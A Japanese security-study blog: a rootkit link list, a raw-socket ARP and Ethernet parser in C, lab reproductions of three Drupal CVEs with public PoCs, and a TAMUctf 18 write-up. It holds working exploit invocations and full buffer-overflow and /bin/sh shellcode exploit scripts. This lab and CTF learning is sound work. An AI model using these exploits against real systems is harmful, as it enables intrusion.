HappyNote3966’s blog

備忘録、作業記録的なことを書きます。低レベル注意。ご指摘等ございましたらやんわりとお願いします(´;ω;`)

Rootkitに関するまとめ

この記事は個人的にRootkitに関する情報を集めているだけのページです。 あくまで教育目的で集めているので、リンク先の扱いにはご注意ください。 (尚、作成中のため量は少ないです)

実際のRootkitのコード

github.com

github.com

github.com

github.com

スライド・Paper

tkmr.hatenablog.com

https://www.blackhat.com/presentations/bh-dc-07/Heasman/Paper/bh-dc-07-Heasman-WP.pdf

Webページ

Rootkits

まとめ・リスト

github.com

github.com

github.com

ARPのキャプチャをしてみる

前回の記事に引き続いて、今度はARPをキャプチャできるようにプログラムを作成してみた。

作成したプログラムはこちら。

github.com

これまでの知識やWiresharkでキャプチャした結果を頼りに作ってみた。

以下に示すのは重要な部分のコード。

int displayARP(u_char *arp_data){
    nextfunc = NULL;
    printf("|============= ARP DATA =============|\n");
    int hardware_type = data2value16(&arp_data[0]);
    int protocol_type = data2value16(&arp_data[2]);
    int hardware_size = data2value8(&arp_data[4]);
    int protocol_size = data2value8(&arp_data[5]);
    int opcode = data2value16(&arp_data[6]);

    printf("[!!] Hardware type : ");
    switch(hardware_type){
        case 0x0001:
            printf("Ethernet\n");
            break;
        default:
            printf("Unknown...\n");
            break;
    }

    printf("[!!] Protocol type : ");
    switch(protocol_type){
        case 0x0800:
            printf("IPv4\n");
            break;
        default:
            printf("Unknown...\n");
            break;
    }

    printf("[!!] Hardware size : 0x%x\n",hardware_size);
    printf("[!!] Protocol size : 0x%x\n",protocol_size);
    printf("[!!] Opcode : 0x%04x\n",opcode);
    switch(opcode){
        case 0x0001:
            printf("[=>] Request : Who has ");
            displayIP(&arp_data[24]);
            printf("? Tell ");
            displayIP(&arp_data[14]);
            printf("\n");
            break;
        case 0x0002:
            printf("[=>] Response : ");
            displayIP(&arp_data[24]);
            printf(" is at ");
            displayMAC(&arp_data[8]);
            printf("\n");
            break;
        default:
            printf("[=>] Opcode Unknown...\n");
            printf("[!!] Sender MAC Address : ");
            displayMAC(&arp_data[8]);
            printf("\n");
            printf("[!!] Sender IP Address : ");
            displayIP(&arp_data[14]);
            printf("\n");
            printf("[!!] Target MAC Address : ");
            displayMAC(&arp_data[18]);
            printf("\n");
            printf("[!!] Target IP Address : ");
            displayIP(&arp_data[24]);
            printf("\n");
            break;
    }

    printf("|============= END DATA =============|\n");
    return 0;   
}

ARPの中身を見ようとするだけでかなり長いコードになってしまった。

ARPの中身は以下のようになっており、重要なのはOpcodeSender MAC address,Sender IP address,Target MAC address,Target IP addressであると考えられる。

(※横並びに繋がっているものとして見てください)
| Hardware type (2byte) | Protocol type (2byte) |
| Hardware size (1byte) | Protocol size (1byte) |
| Opcode (2byte) |
| Sender MAC address (6byte) | Sender IP address (4byte) |
| Target MAC address (6byte) | Sender IP address(4byte) |

ARPは、IPアドレスに対応するMACアドレスを取得するプロトコルで、 Opcodeの部分でその要求と応答とを区別している。

Address Resolution Protocol - Wikipedia

Opcodeが0x0001のときはRequest(要求)となり、Target MAC addressが全部0埋めでデータが送信される。 Opcodeが0x0002のときはReply(応答)となり、Requestで要求されていたTarget MAC addressに該当するアドレスが`Sender MAC addressの領域に格納されてデータが送信されることになる。

それらをWiresharkの表示のように、Request時にはWho has XX.XX.XX.XX? Tell XX.XX.XX.XXと表示し、Reply時にも同様にXX.XX.XX.XX is at XX:XX:XX:XX:XX:XXと表示するようにしたのが上記コードである。

先人から学ぶ

前回と同じく、tcpdumpリポジトリ内にあるprint-arp.cというファイルから参考にできないか探していたところ、以下のようなコードがあった。

github.com

#define ARPOP_REVREQUEST 3      /* request protocol address given hardware */
#define ARPOP_REVREPLY 4 /* response giving protocol address */

ARPOpcodeに該当する部分が、3,4という数値でもOKらしい。なんとなくRARPっぽい感じがするので念ののために調べてみると…

d.hatena.ne.jp

このサイトで3,4がRARPのRequestとReplyに該当するOpcodeになるということが分かった。

他にも、各領域のサイズをチェックしているような処理が見受けられた。

else if (PROTO_LEN(ap) != 4)
    ND_PRINT("<wrong len>");

tcpdumpでは構造体を使って各データを表現している。しかし、私のプログラムはただ表示するだけで構造体等は意識していない。 効率的にデータを扱うのなら構造体を使うべきなのだと思う。そして、その場合はしっかりとサイズを確認しなければ、オーバーフローなどの脆弱性を生んでしまうのだと感じた。

感想

コードが増えると、その管理も煩雑になってくるので、ソースコードを複数のファイルに分割したり、重複処理を関数化したりなど、きれいにしなければならないとも感じた。 加えて、セキュリティを勉強しているのにもかかわらず、サイズのチェック処理などを施していないのが良くないなと思った。未然に防ぐ立場も簡単ではないと思う。

LinuxのRAWソケットからイーサネットフレームを取得してみる

パケットの中身を覗きたくなったので作ってみた。ネットワークの理解をするために今後も続けていきたい。

とりあえず作ってみる

これまでの知識やWiresharkでキャプチャした結果を頼りに作ってみる。

作ったリポジトリと該当するコードはこちら。

github.com

このコードは以下のサイトを参考にして作成している。RAWソケットの取得方法だけ知りたかったので、全部読んでいない。 (閲覧すると文字化けしていたが、ある意味最低限の情報を知るにはちょうどいいと思ってそのままコードだけ読んだ)

http://www.is.noda.tus.ac.jp/~t-matsu/NetworkProgramming/

重要な部分は以下に示すコード。

// in main()
soc = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
// in captureFrame()
len = read(fd,&buf[len],malloc_usable_size(buf));

ここでは、RAWソケットからパケットを取得するための初期設定と読み出しを行っている。 最初にsocket関数を使ってRAWソケットのファイルディスクリプタを取得する。 次に、そのファイルディスクリプタからデータを読み取る。

読み取られたデータは、以下の関数でMACアドレスとタイプを表示するのに使われる。

void printMACAddress(u_char *frame){
    int type;
    printf("[!] Dst : %02x,%02x,%02x,%02x,%02x,%02x\n",frame[0],frame[1],frame[2],frame[3],frame[4],frame[5]);
    printf("[!] Src : %02x,%02x,%02x,%02x,%02x,%02x\n",frame[6],frame[7],frame[8],frame[9],frame[10],frame[11]);
    type = data2value16(&frame[12]);
    printf("[!] Type : %04x\n",type);
    switch(type){
        case 0x0800:
            printf("[=>] IPv4\n");
            break;
        case 0x0806:
            printf("[=>] ARP\n");
            break;
    }
} 

イーサネットフレームは先頭6バイトが宛先MACアドレス、次の6バイトが送信元MACアドレス、次の2バイトがイーサネットフレーム内の中にあるデータの種別を表している。

|Destination MAC Address (6byte) | Source MAC Address (6byte) | Type (2byte) | Data |

Wiresharkを使って適当にキャプチャしたパケットのうち、ARPIPv4だけその種別を表示させるようにした。

先人から学ぶ

あまりコードが美しくないように感じるので、tcpdumpリポジトリを参考にしながら色々と改造してみる。

github.com

閲覧したのはtcpdumpリポジトリ内のethertype.hというファイル。

まずイーサネットフレームの長さを覚えていなかった。最初は65536バイトの領域を確保できるようにしていたが、実際には1500バイトの領域だけで事足りるようだった。 また、フレームタイプにIPv6(0x86dd)とRARP(0x8035)を追加した。他にもバナーを表示してみたり、関数名や表示そのものを見やすくしたりするなど、色々と変更を加えた。

変更後のコードはこちら。

github.com

感想

ネットワークのデータを分解するのは想像していたよりも手間がかかることがわかった。 また、コードを書いていると「汚いなこれ」と思うようになったり、「もうちょっと機能を追加したいな」とか考えるようにもなった。コードを書くのは色んな発見ができて大切だと思う。

おまけ

今回はVirtualBox上で動作するUbuntu 16.04のVM内で作業したが、パケットキャプチャをする際にWireshark側でインタフェースをanyにしていた。 そのせいで、イーサネットフレームを取得したくても、Linux cooked-mode caputureなる形式に変わるらしく、思い通りにいかなかった。ちゃんとインタフェースを指定しないとだめだと学んだ。

対処するのに参考にしたサイトはこれ。

d.hatena.ne.jp

ちゃんと形式を変換するためのものも用意されているらしい。知らなかった。

CVE-2018-7602の検証

Web系の脆弱性について勉強していきたいと思い、いくつか検証してみた。この記事はそのうちの3つ目。

CVE-2018-7602について

cve.mitre.org

Drupal 7.x系、8.x系にRCEの脆弱性が存在する。

今回検証するのはこのコード。

github.com

尚、こちらのPoCも参考にしている。

www.exploit-db.com

検証コードとDrupal7.57のソースをまとめたリポジトリを作成した。以降の検証はこのリポジトリ内にあるスクリプト等でインストール作業を自動化している。

github.com

検証環境は、Virtualbox上で動作するVM(Ubuntu 16.04 64bit)。予めgitがインストールされているものとする。

インストール

$ git clone https://github.com/happynote3966/CVE-2018-7602.git
$ cd CVE-2018-7602
$ sudo ./install.sh
# (途中でMySQLのrootパスワードの設定を求められる)
$ sudo ./install.2sh
# (ここでも途中でMySQLのrootパスワードの入力が2回求められる。)

ここまで実行したら、次はInstallation Script(Webコンソール)でDrupalをインストールする。 以降のインストール作業はこちらの手順と同様のため省略する。詳しくはこの記事を参照のこと。

happynote3966.hatenadiary.com

検証

この脆弱性は、ログインしているユーザが管理者によって認証され、記事の削除権限を持っていることが必要となる。 そのため、一般ユーザを作成し、そのユーザに対し記事の作成権限と削除権限を追加する。その後に、ログインを行ってからPoCを実行する。

まずは管理者権限でテスト用のユーザを作成する。画面上のPeopleのタブをクリックし、以下のような画面を出す。

f:id:HappyNote3966:20180830190709p:plain

次に、現れた画面の上部にあるAdd userをクリックし、一般ユーザを作成する。 ユーザ名はhappynote3966、パスワードはpasswordとしておく。下にあるCreate new accountをクリックして作成は完了。

f:id:HappyNote3966:20180830190926p:plain

次に、一般ユーザの権限を追加する。まずは画面上のPeopleのタブをクリックし、更にその中のPERMISSIONSのタブをクリックする。 この中のNodeの項目内にあるArticle: Create new contentArticle: Delete own contentAUTHENTICATED USERの列にチェックを入れ、Save Permissionをクリックして、権限を反映する。

f:id:HappyNote3966:20180830191140p:plain

最後に、記事を追加する。 まずはログアウトし、先ほど作成した一般ユーザ名とパスワードでログインする。

ログインできると、以下のような画面になる。

f:id:HappyNote3966:20180830191703p:plain

ここから、Add new contentをクリックし、記事の作成を行う。 記事の内容は適当にした。

f:id:HappyNote3966:20180830191931p:plain

一番下にあるSaveをクリックすると、作成した記事が反映される。

f:id:HappyNote3966:20180830192003p:plain

このときのURLを確認し、?q=node/1の最後の数字の部分を見てみると、1となっていることが分かる。これがノードIDとなる。

準備が完了したので、これからPoCを実行してみる。まずはブラウザ内でCookieをチェックする。 このサイトのCookie(今回はlocalhost)を閲覧する。今回は以下のようになっていた。

Name:SESS29af1facda0a866a687d5055f2fade2c
Content:bBJ40SrtSVWc7Y9-By57oyIqSElDNO1nPEghwMTMb9s

この情報と、ノードIDを用いてPoCを実行する。今回の場合は、以下のよう実行する。CookieのNameとContentは=で連結させる。

$ python drupalgeddon3_update.py http://localhost/drupal/ "SESS29af1facda0a866a687d5055f2fade2c=bBJ40SrtSVWc7Y9-By57oyIqSElDNO1nPEghwMTMb9s" 1 "ls -al"

すると、以下のような実行結果が表示された。

f:id:HappyNote3966:20180830193220p:plain

ls -alを実行することができている。

感想

ログインした状態で、且つ記事を削除できる権限を持ち合わせていること、などがRCEの条件になるというのを知った。特定の条件下でのみ攻撃が通ってしまうような脆弱性は見つけるのが難しいのかもしれないが、いずれそのような脆弱性も発見してみたい。

CVE-2018-7600の検証

Web系の脆弱性について勉強していきたいと思い、いくつか検証してみた。この記事はそのうちの2つ目。

CVE-2018-7600について

cve.mitre.org

Drupal 8.x系の8.5.1より前のバージョン、加えて7.x系の7.58よりも前のバージョンにRCEの脆弱性がある。

今回検証するのはこのコード。

www.exploit-db.com

検証コードとDrupal8.5.0のソースをまとめたリポジトリを作成した。以降の検証はこのリポジトリ内にあるスクリプト等でインストール作業を自動化している。

github.com

検証環境は、Virtualbox上で動作するVM(Ubuntu 16.04 64bit)。予めgitがインストールされているものとする。

インストール

$ git clone https://github.com/happynote3966/CVE-2018-7600.git
$ cd CVE-2018-7600
$ sudo ./install.sh
# (途中でMySQLのrootパスワードの設定を求められる)
$ sudo ./install.2sh
# (ここでも途中でMySQLのrootパスワードの入力が2回求められる。)

ここまで実行したら、次はInstallation Script(Webコンソール)でDrupalをインストールする。 VM内のブラウザでhttp://localhost/drupal/core/install.phpにアクセスすると、インストール画面が現れる。

f:id:HappyNote3966:20180829153233p:plain

デフォルトのまま次へ進めていく。

f:id:HappyNote3966:20180829153341p:plain

f:id:HappyNote3966:20180829153412p:plain

ここでは、データベースの名前やパスワードなどを聞かれる。データベースの名前はdrupal、ユーザ名はroot、パスワードは自身が設定したものを入力する。

f:id:HappyNote3966:20180829153422p:plain

サイトの設定をする。管理者はdrupalというユーザ名で、パスワードはpasswordとする。

f:id:HappyNote3966:20180829153435p:plain

f:id:HappyNote3966:20180829153455p:plain

インストールが完了し、そのままDrupalのページに飛ぶことができる。

f:id:HappyNote3966:20180829153543p:plain

検証

まずは念のためにログアウトしておく。

f:id:HappyNote3966:20180829153620p:plain

その後、rubyで検証コードを以下のように実行する。

$ ruby ./drupalgeddon2_update.rb http://localhost/drupal

このPoCは今回構築した環境に合わせてオリジナルのPoCから少しだけ修正したものを使っている。 実行した後、drupalgeddon2>>というプロンプトが表示されるので、lsコマンドを入力してみる。

f:id:HappyNote3966:20180829153915p:plain

すると、lsを実行した結果が出てくる。他にも、whoamiコマンドを入力してみる。

f:id:HappyNote3966:20180829154121p:plain

任意のコマンドが実行できるRCEが存在していることが分かる。

感想

自分が見つけたわけでもなく、人のPoCを動かしてやってみるだけになったが、それでもRCEができているとすごくワクワクする。いずれこんな脆弱性を見つけてCVEを取得したい。

CVE-2014-3704の検証


Web系の脆弱性について勉強していきたいと思い、いくつか検証してみた。この記事はそのうちの1つ目。

CVE-2014-3704について

cve.mitre.org

Drupal 7.x系の7.31から前のバージョンにSQLインジェクション脆弱性がある。

今回検証するのはこのコード。

www.exploit-db.com

検証コードとDrupal7.31のソースをまとめたリポジトリを作成した。以降の検証はこのリポジトリ内にあるスクリプト等でインストール作業を自動化している。

github.com

検証環境は、Virtualbox上で動作するVM(Ubuntu 16.04 64bit)。予めgitがインストールされているものとする。

インストール

$ git clone https://github.com/happynote3966/CVE-2014-3704.git
$ cd CVE-2014-3704
$ sudo ./install.sh
# (途中でMySQLのrootパスワードの設定を求められる)
$ sudo ./install.2sh
# (ここでも途中でMySQLのrootパスワードの入力が2回求められる。)

ここまで実行したら、次はInstallation Script(Webコンソール)でDrupalをインストールする。 VM内のブラウザでhttp://localhost/drupal/install.phpにアクセスすると、インストール画面が現れる。

f:id:HappyNote3966:20180725214224p:plain

デフォルトのまま次へ進めていく。

f:id:HappyNote3966:20180725214356p:plain

f:id:HappyNote3966:20180725214434p:plain

ここでは、データベースの名前やパスワードなどを聞かれる。データベースの名前はdrupal、ユーザ名はroot、パスワードは自身が設定したものを入力する。 (ここで続行しても、反応がない場合がある。その場合はF5で更新するとうまく行くはず)

f:id:HappyNote3966:20180725214620p:plain

サイトの設定をする。管理者はdrupalというユーザ名で、パスワードはpasswordとする。

f:id:HappyNote3966:20180725215030p:plain

インストールが完了し、リンクをクリックすることでDrupalのページに飛ぶことができる。

f:id:HappyNote3966:20180725215135p:plain

検証

まずはログアウトを行う。その後、ユーザ名happynote3966、パスワードもhappynote3966でログイン試行をする。

f:id:HappyNote3966:20180725215240p:plain

インストール作業の際にはアカウントを作成していないため、ログインが弾かれる。

f:id:HappyNote3966:20180725215314p:plain

その後、pythonで検証コードを以下のように実行する。

$ python 34992.py -t http://localhost/drupal -u happynote3966 -p happynote3966

これで、ユーザ名happynote3966、パスワードhappynote3966`でアカウントの作成を行う。

f:id:HappyNote3966:20180725215542p:plain

実行後、再度そのユーザ名とパスワードでログインを行う。

f:id:HappyNote3966:20180725215554p:plain

結果としてログインに成功している。

f:id:HappyNote3966:20180725215617p:plain

感想

まだソースコードのどの部分が理由で脆弱性が存在するのかまで理解できていないが、いずれ理解していきたい。

TAMUctf 18 Writeup

先日行われたTAMUctf 18にチームHarekazeとして参加しました。 チーム全体で2574点を獲得し、130位となりました。私はそのうちの175点を獲得しました。

Sat, 17 Feb. 2018, 00:00 UTC — Mon, 26 Feb. 2018, 00:00 UTC 
On-line
A TAMUctf event.
Format: Jeopardy Jeopardy
Official URL: https://ctf.tamu.edu/
This event's weight is subject of public voting!
Future weight: 34.10 
Rating weight: 23.87 
Event organizers 
    TAMUctf

以下、Writeupです。

[pwn 25] pwn1

mainを見てみると、以下のようになっていた。

 804860e:       sub    esp,0xc
 8048611:       lea    eax,[ebp-0x23]
 8048614:       push   eax
 8048615:       call   80483d0 <gets@plt>
 804861a:       add    esp,0x10
 804861d:       cmp    DWORD PTR [ebp-0xc],0xf007ba11
 8048624:       jne    804862d <main+0x7b>
 8048626:       call   804854b <print_flag>

gets関数でユーザからの入力をebp-0x23に読み込んで、その中からebp-0xcの中の値を比較し、0xf007ba11であるかどうかを判定する。 0xf007ba11であれば、print_flagを呼び出しているため、この値になるように入力を調整する。

書いたexploitコードはこちら。

import socket
import struct

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4321))

    s.recv(1024)

    buf = 'A' * 23
    buf += struct.pack("<I",0xf007ba11)
    buf += "\n"

    s.send(buf)

    s.recv(1024)
    print(s.recv(1024))


if __name__ == '__main__':
    main()

イメージとして以下のようになる。

[ebp-0x24]        ?AAA
[ebp-0x20]        AAAA
[ebp-0x1c]        AAAA
[ebp-0x18]        AAAA
[ebp-0x14]        AAAA
[ebp-0x10]        AAAA
[ebp-0x0c]        0xf007ba11
[ebp-0x08]        AAAA
...

フラグは、gigem{H0W_H4RD_1S_TH4T?}だった。

[pwn 50] pwn2

mainからechoが呼び出されており、その中身は以下のようになっていた。

080485b2 <echo>:
 80485b2:       push   ebp
 80485b3:       mov    ebp,esp
 80485b5:       sub    esp,0xf8
...
 80485cf:       sub    esp,0xc
 80485d2:       lea    eax,[ebp-0xef]
 80485d8:       push   eax
 80485d9:       call   80483d0 <gets@plt>
 80485de:       add    esp,0x10
 80485e1:       sub    esp,0xc
 80485e4:       lea    eax,[ebp-0xef]
 80485ea:       push   eax
 80485eb:       call   80483f0 <puts@plt>
 80485f0:       add    esp,0x10
 80485f3:       nop
 80485f4:       leave  
 80485f5:       ret    

こちらもpwn1と同様に、gets関数を用いてユーザからの入力をebp-0xefに読み込んでいる。 pwn1と違うのは、パスワードのような正しい値は存在せず、通常の入力の範囲だと何も先に進まない。入力された値がエコーバックするだけ。 しかしprint_flag関数は存在するので、そこにeipを移したい。

ここはスタックBOF脆弱性を使ってリターンアドレスを書き換えることにする。書いたexploitコードは以下の通り。

import socket
import struct

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4322))

    print(s.recv(1024))

    buf = 'A' * 0xef # buf
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",0x0804854b) # func "print_flag" addr
    buf += "\n"


    s.send(buf)
    s.recv(1024)

    print(s.recv(1024)) # flag


if __name__ == '__main__':
    main()

イメージは以下の通り

[ebp-0xf0]        ?AAA            <=buf
[ebp-0xec]        AAAA
...
[ebp-0x04]        AAAA
[ebp-0x00]        AAAA            <= saved ebp
[ebp+0x04]        (print_flag)<=return address

フラグは、gigem{3ch035_0f_7h3_p4s7}だった。

[pwn 75] pwn3

今回はprint_flagのようなフラグを出力する処理は無かった。 その代わり、echoの中身を見てみると、以下のようになっていた。

080484cb <echo>:
 80484cb:   push   ebp
 80484cc:   mov    ebp,esp
 80484ce:   sub    esp,0xf8
 80484d4:   sub    esp,0x8
 80484d7:   lea    eax,[ebp-0xee]
 80484dd:   push   eax
 80484de:   push   0x8048600 # "Your random number %p!\n"
 80484e3:   call   8048370 <printf@plt>
 80484e8:   add    esp,0x10
...
 80484fb:   sub    esp,0xc
 80484fe:   lea    eax,[ebp-0xee]
 8048504:   push   eax
 8048505:   call   8048380 <gets@plt>
 804850a:   add    esp,0x10
 804850d:   sub    esp,0xc
 8048510:   lea    eax,[ebp-0xee]
 8048516:   push   eax
 8048517:   call   8048390 <puts@plt>
 804851c:   add    esp,0x10
 804851f:   nop
 8048520:   leave
 8048521:   ret

gets関数を用いてユーザからの入力をebp-0xeeに読み込んでいるが、その実際のアドレスをprintf関数を用いて表示している。 さらに、このバイナリのセキュリティ機構をチェックしてみる。

$ checksec.sh --file pwn3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   pwn3

NXdisabled、つまりシェルコード実行に持ち込むことができる。

Linuxx86上で動作するシェルコードをExploit-DBから引っ張ってくる。最終的なexploitコードは以下のようになった。

import socket
import struct
import telnetlib

def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("pwn.ctf.tamu.edu",4323))

    prompt_str = s.recv(1024)
    print(prompt_str)
    buf_addr = int(prompt_str[146:156],16)
    print("{0:x}".format(buf_addr))

    buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # linux x86 /bin/sh shellcode
    buf += 'A' * (0xee - len(buf))
    buf += 'AAAA' # saved ebp
    buf += struct.pack("<I",buf_addr) # buf_addr (shellcode addr)
    buf += "\n"


    s.send(buf)
    s.recv(1024)

    t = telnetlib.Telnet()
    t.sock = s
    t.interact()




if __name__ == '__main__':
    main()

イメージとしては、以下のようになる。

[ebp-0xf0]        ??(s
[ebp-0xec]        hell
[ebp-0xe8]        code
[ebp-0xe4]        )AAA
...
[ebp-0x00]        AAAA
[ebp+0x04]        (ebp-0xeeのアドレス)

フラグはgigem{n0w_w3_4r3_g377in6_s74r73d}だった。

[Scenario - NotSoAwesomeInc 25] 00_intrusion

初めて見るタイプの問題だった。シナリオに沿って、色々と調べてみろ、という感じの問題だった。

A system administrator performing routine backups for a company named Awesome Inc noticed some strange activity on a server. The tech didn't say what exactly was "strange", but we'll check it out.

Attached is the output from an external nmap of the server and outputs from ipconfig, netsh, and systeminfo that the tech ran on the server.

To complete this challenge, answer the following question(s):

1.  What operating system is this server running (linux, solaris, windows, etc..)?
2.  What operating system version is this server running (10.04, 12.04, 10, 11, 2003, 2008, etc..)?
3.  List the highest service pack installed or null if none are installed (null, sp0, sp1, sp2, etc..).
4.  What is the host's name (all lowercase)?
5.  Is the server joined to a domain (yes/no)?
6.  If the answer to 5 was yes, what is the domain (all lowercase, else enter null)?
7.  List any ipv4 addresses for this host in lexicographic order separated by commas.
8.  List the port numbers of any services accessible externally in lexicographic order separated by commas.
9.  Does the server use an ingress filtering firewall (yes/no)?
10. Does the server use an egress filtering firewall (yes/no)

答えは上から順番に、

1.  windows
2.  2008
3.  sp1
4.  www
5.  yes
6.  awesomeinc.local
7.  10.0.0.11,192.168.1.11
8.  3389,80
9.  yes
10. no
反省

[Scenario - NotSoAwesomeInc]のカテゴリの問題が面白かったが、Linuxのコマンド力不足を感じた。 grepだったりcutだったり、使いこなすだけで便利なコマンドの使い方は一通り覚えていきたい。